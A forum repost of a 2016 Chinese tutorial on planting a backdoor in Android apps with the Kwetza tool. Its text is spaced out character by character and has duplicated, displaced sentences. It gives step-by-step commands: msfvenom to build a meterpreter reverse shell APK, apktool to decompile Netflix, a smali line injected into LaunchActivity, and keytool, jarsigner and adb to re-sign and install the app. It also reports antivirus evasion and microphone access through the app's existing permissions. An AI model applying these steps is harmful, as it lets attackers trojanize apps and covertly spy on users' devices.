搜索

[10628] 2016-10-21_如何用kwetza给安卓应用加后门

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2016-10-21_如何用kwetza给安卓应用加后门 如 何 用 k w e t z a 给 安 卓 应 用 加 后 门 鸢 尾   F r e e B u f   2 0 1 6 - 1 0 - 2 1 * 本 文 仅 供 安 全 学 习 、 测 试 或 信 息 安 全 教 学 用 途 ， 禁 止 非 法 使 用 简 介 简 介 这 篇 文 章 将 会 描 述 一 种 在 这 篇 文 章 将 会 描 述 一 种 在 A n d r o i d 可 执 行 文 件 中 种 后 门 的 方 法 。 在 接 下 来 的 动 手 操 作 部 分 ， 我 将 使 用 到 开 源 工 具 可 执 行 文 件 中 种 后 门 的 方 法 。 在 接 下 来 的 动 手 操 作 部 分 ， 我 将 使 用 到 开 源 工 具 K w e t z a ， 没 ， 没 错 作 者 就 是 我 错 作 者 就 是 我 … … 首 先 我 会 先 介 绍 使 用 手 工 过 程 实 现 向 现 有 A n d r o i d 应 用 植 入 后 门 的 方 式 ， 其 后 我 再 介 绍 并 讨 论 K w e t z a 是 如 何 自 动 完 成 这 些 手 工 步 骤 的 。 你 可 以 通 过 G i t h u b   r e p o 找 到 K w e t z a 。 案 例 ： 感 染 正 常 案 例 ： 感 染 正 常 A n d r o i d 应 用 应 用 我 们 想 要 感 染 一 款 正 常 的 A n d r o i d 应 用 程 序 ( A P K ) ， 当 用 户 执 行 了 这 款 看 似 正 常 的 A n d r o i d 应 用 ， p a y l o a d 将 允 许 攻 击 者 远 程 访 问 受 影 响 设 备 ， 如 网 络 摄 像 头 ， 位 置 信 息 ， 手 机 短 信 等 等 。 当 然 还 有 一 个 大 前 提 便 是 该 应 用 程 序 的 行 为 以 及 功 能 与 正 常 的 A n d r o i d 应 用 一 致 ， 不 会 引 起 用 户 的 警 觉 。 S t e p   1 ： ： P a y l o a d 这 部 分 十 分 简 单 ， 使 用 m s f v e n o m 就 好 。 我 们 先 来 生 成 一 个 p a y l o a d ： 现 在 这 款 A n d r o i d 应 用 便 能 够 在 目 标 设 备 上 为 我 们 提 供 一 个 m e t e r p r e t e r 会 话 。 对 于 移 动 版 本 杀 毒 产 品 ， 这 款 p a y l o a d 的 表 现 如 何 呢 ？ 根 据 我 们 的 分 析 ， 在 4 1 款 杀 毒 产 品 中 只 有 1 7 款 检 测 出 b e a r d . a p k 。 额 不 是 百 分 百 的 过 杀 软 还 是 有 些 担 心 ， 这 个 p a y l o a d 并 不 是 才 出 现 并 且 也 没 有 什 么 特 殊 之 处 。 为 何 不 是 百 分 百 的 检 测 出 ， 我 也 挺 纳 闷 的 。 m s f v e n o m   - p   a n d r o i d / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 4 2 . 0 . 2 1 1   L P O R T = 4 4 4 4   R   >   b e a r d . a p k
S t e p   2 : 减 负 减 负 对 于 这 一 步 骤 ， 如 果 我 们 着 眼 于 b e a r d . a p k 就 会 发 现 它 有 些 臃 肿 ， 所 以 我 们 想 通 过 一 个 单 独 的 J a v a   C l a s s 来 完 成 这 个 重 担 。 首 先 我 将 逆 向 b e a r d . a p k ， 并 将 所 有 函 数 都 放 进 一 个 名 为   A s s i s t A c t i v i t y . j a v a 的 单 独 J a v a   C l a s s 中 。
如 上 图 所 示 ， b e a r d . a p k 包 含 了 多 个 文 档 ， 这 些 文 档 能 让 你 的 m e t e r p r e t e r 玩 的 更 精 彩 。 然 而 我 想 把 所 有 的 东 西 都 放 到 一 个 文 件 中 ， 这 样 会 更 有 意 义 一 点 。 请 注 意 该 p a y l o a d 的 M a i n   a c t i v i t y 通 过 调 用 P a y l o a d   c l a s s 的 s t a r t 方 法 ， 进 而 使 用 其 他 类 文 件 。 我 们 将 这 些 其 他 类 文 件 的 功 能 重 构 到 A s s i s t A c t i v i t y 文 件 。
S t e p   3 :   监 测 目 标 监 测 目 标 我 们 有 一 个 单 独 的 文 件 来 代 表 我 们 p a y l o a d 了 。 接 下 来 我 们 需 要 一 个 目 标 应 用 ， 我 选 择 了 N e t f l i x 。 对 于 监 测 方 面 我 希 望 在 用 户 点 击 N e t f l i x 应 用 i c o n 图 标 的 那 一 刻 p a y l o a d 就 能 够 得 到 执 行 。 如 何 实 现 呢 ？ 很 简 单 ， 将 目 光 看 向 A n d r o i d M a n i f e s t . x m l 文 件 ， 它 将 告 诉 我 们 在 应 用 启 动 时 都 有 哪 些 A c t i v i t y ( 即 J a v a   c l a s s ) 会 被 执 行 。 接 着 在 m a i n f e s t 中 搜 索 “ M A I N ” 和 “ L A U N C H E R ” 属 性 ， 我 们 就 能 得 知 当 系 统 执 行 应 用 时 会 用 到 的 a c t i v i t y 以 及 相 关 文 件 。 b t w ， 为 了 到 这 一 步 ， 你 需 要 对 下 载 的 N e t f l i x   A P K 执 行 以 下 命 令 进 行 反 编 译 操 作 ： S t e p   4 :   继 承 继 承 O k a y ， 我 们 有 两 个 被 标 记 为 可 执 行 的 文 件 a p k t o o l   d   N e t f l i x . a p k
没 关 系 ， 根 据 进 一 步 分 析 代 码 。 我 们 发 现 这 两 个 类 都 继 承 于 一 个 父 类 ， 依 次 执 行 所 有 的 启 动 代 码 等 。 如 上 图 所 示 ， 我 们 看 到 有 两 个 入 口 点 都 是 继 承 于 “ c o m . n e t f l i x . m e d i a c l i e n t . u i . l a u n c h . L a u n c h A c t i v i t y ” 。 这 也 意 味 着 当 N e t f l i x 执 行 时 该 a c t i v i t y 是 最 后 执 行 的 ， 这 就 是 我 们 的 注 入 点 。 S t e p   5 :   优 化 优 化 我 们 了 解 了 在 何 处 注 入 我 们 的 恶 意 代 码 。 现 在 就 要 利 用 S m a l i 了 ， 目 前 我 们 的 p a y l o a d 是 由 两 个 S m a l i 文 件 进 行 描 述 的 ， A s s i s t A c t i v i t y . s m a l i 以 及 我 们 使 用 A p k t o o l 反 编 译 b e a r d . a p k 时 生 成 的 A s s i s t A c t i v i t y $ 1 . c l a s s 。 接 下 来 将 两 个 文 件 移 动 到 c o m / n e t f l i x / m e d i a c l i e n t . u i / l a u n c h 目 录 中 。 c o m . n e t f l i x . m e d i a c l i e n t . u i . l a u n c h . U I W e b V i e w A c t i v i t y c o m . n e t f l i x . m e d i a c l i e n t . u i . l a u n c h . U I W e b V i e w T a b l e t A c t i v i t y
现 在 我 帮 需 要 更 新 几 个 引 用 ， 比 如 包 引 用 ， 以 及 使 用 了 应 用 程 序 命 名 空 间 的 对 象 引 用 。 基 本 上 对 于 A s s i s t A c t i v i t y 的 引 用 都 应 该 是 这 样 的 ： 而 不 是 ： L c o m / n e t f l i x / m e d i a c l i e n t / u i / l a u n c h / A s s i s t A c t i v i t y L s e n s e p o s t / k w e t z a / A s s i s t A c t i v i t y
我 们 需 要 确 认 两 个 S m a l i 文 件 都 应 用 了 更 改 。 S t e p   6 :   注 入 注 入 至 此 目 标 目 录 中 已 经 有 我 们 的 两 个 S m a l i 文 件 ， 现 在 我 们 需 要 配 置 目 标 A c t i v i t y ( N e t f l i x ) 来 调 用 我 们 的 代 码 。 这 就 修 改 “ c o m . n e t f l i x . m e d i a c l i e n t . u i . l a u n c h . L a u n c h A c t i v i t y ” 来 调 用 A s s i s t A c t i v i t y ： 在 S m a l i 中 ： 在 进 一 步 讨 论 之 前 ， 我 们 要 在 目 标 a c t i v i t y 中 找 一 个 地 方 注 入 我 们 的 代 码 。 要 做 到 这 点 ， 我 们 需 要 分 析 L a u n c h A c t i v i t y 并 且 寻 找 o n C r e a t e 方 法 。 当 关 联 对 象 实 例 化 后 ， 在 这 个 方 法 中 的 所 有 代 码 都 会 被 执 行 ， 在 本 例 中 为 L a u n c h A c t i v i t y 。 A s s i s t A c t i v i t y . d o T h i s ( t h i s ) ; i n v o k e - s t a t i c   { p 0 } ,   L c o m / n e t f l i x / m e d i a c l i e n t / u i / l a u n c h / A s s i s t A c t i v i t y ; - > d o T h i s ( L a n d r o i d / c o n t e n t / C o n t e x t ; ) V
如 上 图 所 示 ， 我 们 可 以 看 到 o n C r e a t e 方 法 就 在 L a u n c h A c t i v i t y 中 。 如 果 你 注 意 到 行 号 ， 我 们 可 以 看 到 行 号 1 4 5 到 1 4 7 是 没 有 代 码 的 。 为 了 验 证 ， 我 们 打 开 相 同 文 件 后 盯 着 它 的 S m a l i 副 本 ， L a u n c h A c t i v i t y . s m a l i 太 棒 了 ， 我 们 成 功 将 一 行 代 码 注 入 到 L a u n c h A c t i v i t y . s m a l i 。 当 N e t f l i x   a p p 运 行 时 将 会 看 到 我 们 的 p a y l o a d ( A s s i s t A c t i v i t y ) 被 执 行 。 S t e p   7 :   最 后 一 步 最 后 一 步 接 下 来 我 们 需 要 对 新 修 改 的 版 本 进 行 打 包 ， 签 名 ， 安 装 。 打 包 新 的 a p k : 生 成 一 个 k e y s t o r e ： 对 a p k 进 行 签 名 ： 安 装 新 的 A p k : # S o o o o o o o o o   w h a t ? ? 现 在 我 们 就 有 一 份 全 新 的 N e t f l i x   A p k 了 ， 他 将 帮 助 我 们 从 A n d r o i d 设 备 上 获 得 一 个 m e t e r p r e t e r   s h e l l 。 让 我 们 来 看 看 杀 软 对 它 的 态 度 ： . l i n e   1 4 6 i n v o k e - s t a t i c   { p 0 } ,   L c o m / n e t f l i x / m e d i a c l i e n t / u i / l a u n c h / A s s i s t A c t i v i t y ; - > d o T h i s ( L a n d r o i d / c o n t e n t / C o n t e x t ; ) V a p k t o o l   b   n e t f l i x D i r k e y t o o l   - g e n k e y   - v   - k e y s t o r e   m y k e y . k e y s t o r e   - a l i a s   a l i a s _ n a m e   - k e y a l g   R S A   - k e y s i z e   2 0 4 8   - v a l i d i t y   1 0 0 0 0 j a r s i g n e r   - k e y s t o r e   m y k e y . k e y s t o r e   N e t f l i x . a p k   a l i a s _ n a m e   - s i g a l g   M D 5 w i t h R S A   - d i g e s t a l g   S H A 1 a d b   i n s t a l l   N e t f l i x . a p k
事 实 证 明 ， 经 过 感 染 的 N e t f l i x   A p k 未 被 杀 软 检 测 出 问 题 。 接 下 来 看 看 当 我 们 点 击 N e t f l i x   i c o n 图 标 时 会 发 生 什 么 O k a y 我 们 得 到 m e t e r p r e t e r ， 但 它 能 够 做 些 什 么 事 情 呢 ？
现 在 我 们 尝 试 通 过 N e t f l i x 应 用 被 授 权 的 权 限 来 获 取 目 标 设 备 的 摄 像 头 以 及 麦 克 风 ( 注 意 ， 我 们 没 有 对 N e t f l i x 应 用 本 身 添 加 或 者 删 除 需 要 请 求 的 权 限 ， 仅 仅 只 是 注 入 了 恶 意 代 码 ) 。 由 于 A n d r o i d M a n i f e s t . x m l 没 有 请 求 这 个 权 限 ， 所 以 不 能 打 开 设 备 摄 像 头 。 但 是 正 常 的 N e t f l i x 应 用 会 请 求 吗 ？ 从 上 图 中 我 们 得 知 ， N e t f l i x 应 用 有 向 设 备 请 求 麦 克 风 访 问 权 限 。 简 单 来 说 我 们 无 须 再 添 加 任 何 权 限 ， 就 能 获 取 设 备 的 所 有 访 问 权 限 。 正 常 的 N e t f l i x 应 用 会 请 求 联 网 以 及 麦 克 风 权 限 ， 所 以 我 们 不 需 做 任 何 事 情 就 能 获 取 设 备 麦 克 风 的 访 问 权 限 以 及 录 音 操 作 。 将 所 有 需 要 的 权 限 都 增 加 完 以 获 得 m e t e r p r e t e r 所 提 供 的 所 有 功 能 ， N e t f l i x 应 用 会 是 个 啥 样 呢 ？ 不 论 是 N e t f l i x 应 用 还 是 其 他 A n d r o i d 应 用 ， m e t e r p r e t e r 会 话 可 以 一 直 持 续 到 手 机 锁 上 。 为 了 结 束 m e t e r p r e t e r 会 话 ， 用 户 需 要 准 确 的 结 束 进 程 以 及 重 启 手 机 。 从 最 近 的 测 试 来 看 m e t e r p r e t e r 会 话 依 旧 很 稳 定 。 使 用 使 用 K w e t z a 自 动 化 完 成 自 动 化 完 成 以 上 步 骤 讨 论 的 东 西 需 要 一 定 的 安 卓 逆 向 知 识 ， 并 且 会 消 耗 你 宝 贵 的 时 间 。 接 下 来 这 里 就 是 推 销 时 间 了 ， 我 们 的 K w e t z a 就 是 一 款 可 以 自 动 化 完 成 上 述 步 骤 的 好 工 具 。 虽 然 已 经 有 类 似 的 工 具 b a c k d o o r - a p k 可 以 完 成 这 项 工 作 ， 但 是 K w e t z a 与 现 有 的 工 具 不 同 的 是 能 更 灵 活 的 权 限 注 入 ， 以 及 可 自 定 义 的 p < u s e s - p e r m i s s i o n   a n d r o i d : n a m e = " a n d r o i d . p e r m i s s i o n . R E C O R D _ A U D I O "   / >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理